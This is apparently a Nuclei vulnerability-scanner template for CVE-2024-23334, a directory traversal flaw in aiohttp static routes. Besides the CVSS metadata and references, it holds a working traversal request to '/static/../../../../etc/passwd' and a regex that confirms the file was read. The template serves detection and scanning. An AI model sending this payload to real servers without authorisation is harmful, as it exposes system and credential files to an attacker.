id: CVE-2024-23334 info: name: aiohttp - Directory Traversal author: DhiyaneshDk severity: high description: | aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. When using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option 'follow_symlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'follow_symlinks' is set to True, there is no validation to check if reading a file is within the root directory. This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present. Disabling follow_symlinks and using a reverse proxy are encouraged mitigations. Version 3.9.2 fixes this issue. reference: - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ICUOCFGTB25WUT336BZ4UNYLSZOUVKBD/ - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XXWVZIVAYWEBHNRIILZVB3R3SDQNNAA7/ - https://x.com/W01fh4cker/status/1762491210953060827?s=20 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2024-23334 cwe-id: CWE-22 epss-score: 0.00073 epss-percentile: 0.29411 cpe: cpe:2.3:a:aiohttp:aiohttp:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: aiohttp product: aiohttp tags: cve,cve2024,aiohttp,lfi http: - method: GET path: - '{{BaseURL}}/static/../../../../etc/passwd' matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - type: word part: header words: - "aiohttp" - "application/octet-stream" condition: and - type: status status: - 200 # digest: 490a00463044022022285e422fa347d671b03da02098bba372e799498b869d43b4581a4d494a4a4f02205d93e2c0aa8133a30dce9c899750a3eddda98459129c837c00b74facc65d91f2:922c64590222798bb761d5b6d8e72950
